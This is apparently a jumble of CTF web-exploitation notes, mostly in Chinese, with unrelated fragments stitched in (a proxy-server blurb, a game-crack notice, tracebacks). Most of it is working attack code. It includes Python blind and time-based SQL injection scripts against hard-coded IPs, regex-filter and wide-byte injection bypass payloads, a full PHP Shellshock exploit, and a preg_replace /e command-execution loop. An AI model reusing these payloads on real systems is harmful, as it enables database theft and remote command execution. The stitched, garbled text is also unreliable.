defsql_inject(sql): title=anti_disturb_key+"' or (id="+str(check_article_id)+" and ("+sql+'))#' info='success'+title if make_write(title,info): #编辑id=newest_id的文章来读取$raw['title'] newest_id=get_newest_id() url='http://112.125.24.134:9999/edit.php' data={ 'title':title, 'content':info, 'id':newest_id } res=requests.post(url,cookies={'PHPSESSID':PHPSESSID},data=data) #判断盲注结果 result=check(title) if result=='success': returnTrue elif result=='disturb': print("受到干扰,重新执行") return sql_inject(sql) else : returnFalse else : print('程序执行错误,请保持结果') eval(input('执行命令:')) #demo #sql='(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),index,1)))=guess' sql=''' (select''+conv(substr(hex(group_concat(table_name)),index,1),16,10) FROM information_schema.tables WHERE TABLE_SCHEMA='information_schema')=guess ''' ### 数据库名:696e666f726d6174696f6e5f736368656d612c62616279626c6f67 #猜information_schema表名 #vip用户:wulaxc4ca4238a0b923820dcc509a6f75849b result="4348415241435445525F534554532C434F4C4C4154494F4E532C434F4C4C4154494F4E5F4348415241435445525F5345545F4150504C49434142494C4954592C434F4C554D4E532c434f4c554d4e5f50524956494c454745532c454e47494e45532c4556454e54532c46494c45532c474c4f42414c5f5354415455532c474c4f42414c5f5641524941424c45532c4b45595f434f4c554d4e5f55534147452c504152414d45544552532c504152544954494f4e532c504c5547494e532c50524f434553534c4953542c50524f46494c494e472c5245464552454e5449414c5f434f4e53545241494e54532c524f5554494e45532c534348454d4154412c534348454d415f50524956494c454745532c53455353494f4e5f5354415455532c53455353494f4e5f5641524941424c45532c535441544953544943532c5441424c45532c5441424c455350414345532c5441424c455f434f4e53545241494e54532c5441424c455f50524956494c454745532c54524947474552532c555345525f50524956494c454745532c"
index=len(result) while1: index+=1 temp=sql.replace('index',str(index)) for i inrange(20): print("猜测第"+str(index)+"位为:"+str(i)) if sql_inject(temp.replace('guess',str(i))): result+=hex(i)[2:] break print(result) res='' for i inrange(0,len(result),2): res+=chr(int(result[i:i+2],16)) print(res)
filter=(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(|’|").?(|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(|’|").?(|'|\")) ban掉了select 语句 如果拿到vip权限可以用替换绕过 (select''+conv(substr(hex(group_concat(table_name)),index,1),16,10) FROM information_schema.tables WHERE TABLE_SCHEMA=database())=guess 绕过正则过滤
url="http://112.126.101.16:9999" arc_id="11" session="5lrk8g0oh73su3q9dbfp9l79f2" text=''' <?php # Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) # Google Dork: none # Date: 10/31/2014 # Exploit Author: Ryan King (Starfall) # Vendor Homepage: http://php.net # Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror # Version: 5.* (tested on 5.6.2) # Tested on: Debian 7 and CentOS 5 and 6 # CVE: CVE-2014-6271 function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 $tmp = tempnam(".","data"); $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'From: Your name <[email protected]>' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); // In Safe Mode, the user may only alter environment variableswhose names // begin with the prefixes supplied by this directive. // By default, users will only be able to set environment variablesthat // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, // PHP will let the user modify ANY environment variable! mail("[email protected]","","",$headers,"-bv"); // -bv so we don't actuallysend any mail $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln."; } echo shellshock($_REQUEST["cmd"]); ?> ''' defedit(): data={ "title":"bbb", "content":"b", "id":arc_id } return requests.post(url+"/edit.php",data=data,cookies={"PHPSESSID":session}) defexec(s): data={ "replace":s,#"var_dump(scandir('/tmp'));var_dump(file_put_contents('/tmp/aaa.php',"+"$_POST['cmd']"+"));", "regex":"1", "id":arc_id, "find":"b/e\x00", "cmd":"ls -al", "filepath":"/tmp/hpdoger.php" } result=requests.post(url+"/replace.php",data=data,cookies={"PHPSESSID":session}) edit() return result while1: print(exec(input()).text)
Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in C:\Users\w1nd\Desktop\web\nginx-1.17.6\html\index.php on line 1
Warning: include(http://39.108.164.219:60005/1.txt): failed to open stream: no suitable wrapper could be found in C:\Users\w1nd\Desktop\web\nginx-1.17.6\html\index.php on line 1
Warning: include(): Failed opening 'http://39.108.164.219:60005/1.txt' for inclusion (include_path='.;C:\Users\Public\Videos;\c:\php\includes;c:\php\pear;') in C:\Users\w1nd\Desktop\web\nginx-1.17.6\html\index.php on line 1
The Registrar of Record identified in this output may have an RDDS service that can be queried for additional information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
User Name SID ================ ============================================ 172_19_97_4\w1nd S-1-5-21-330377560-317033357-2560255023-1001
GROUP INFORMATION -----------------
Group Name Type SID Attributes ====================================== ================ ============ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Desktop Users Alias S-1-5-32-555 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\REMOTE INTERACTIVE LOGON Well-known group S-1-5-14 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Apache Traffic Server™ is a high-performance web proxy cache that improves network efficiency and performance by caching frequently-accessed information at the edge of the network. This brings content physically closer to end users, while enabling faster delivery and reduced bandwidth use. Traffic Server is designed to improve content delivery for enterprises, Internet service providers (ISPs), backbone providers, and large intranets by maximizing existing and available bandwidth.
This is a lite (which means there is no voice but the script is complete.) version of a great galgame (a.k.a. Visual Novel) written by Romeo Tanaka. Hope you enjoy it. PS: I did some small hack to the game for cracking. But you still need steam running to play this game. PSS: If you like it, you can buy it on steam. PSSS: Do not forget to find the flag. And the flag is just in THIS file.
if (isset($_GET['name'])) { $name = $_GET['name']; mysqli_query($mysqli, "select age from user where name='$name'"); }elseif(isset($_GET['age'])) { $age = $_GET['age']; mysqli_query($mysqli, "select name from user where age=$age"); }
result=""#table flag_xdd,user? #column flag_32122 #flag{bypass_modsecurity_a202e614489c} j=len(result) whileTrue: for i in l: sql="if((select substr(hex(GROUP_CONCAT(flag_32122)),{},1) FROM flag_xdd)=char({}),sleep(10),0)".format(j+1,ord(i)) if rawhttp(sql): result+=i print(result) break else : print("第{}个字符不是{}".format(j+1,i)) j+=1
whileTrue: index+=1 for i inrange(16): ii+=1 tmp=sql.replace("INDEX",str(index)).replace("GUESS",hex(i)[2:]) if curl_url(tmp): result+=hex(i)[2:] print(result) break print("第"+str(index)+"不是"+hex(i)[2:])
dave'+or+1%23 x dave"+or+1%23 x dave")+or+1%23 x dave')+or+1%23 x \转义'或"来逃逸失败
宽字节注入:
1 2 3 4
#username=%2bsleep(10)&password=%bf%5c" x #username=%2bsleep(10)&password=%bf%5c' x #username=%bf%5c"&password=%2bsleep(10) x #username=%bf%5c'&password=%2bsleep(10) x
sql注入点时username还是password
是单引号还是双引号闭合
过滤了哪些字符,转义了哪些字符
We then looked at the challenge’s description again and realized that there might be backup of file somewhere. We then tried to get the login.php.bak.
Surprise, there really is a backup file there. Let’s see what is inside.
We found the flag, and it is TUCTF{b4ckup5_0f_php?_1t5_m0r3_c0mm0n_th4n_y0u_th1nk}
The Droid You’re Looking For
看到droid想到robots.txt,直接访问提示没有权限
因为robots.txt是给爬虫看的,所以去百度了一个google爬虫的user-agent:
1
Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1;
Traceback (most recent call last): File "/usr/local/lib/python2.7/dist-packages/tornado/web.py", line 1509, in _execute result = method(*self.path_args, **self.path_kwargs) File "/usr/src/app/class_website.py", line 87, in post iflen(name) == 0orlen(phone_num) == 0orlen(email) == 0orlen(passwd2) == 0or passw != passw2: NameError: global name 'passwd2'isnot defined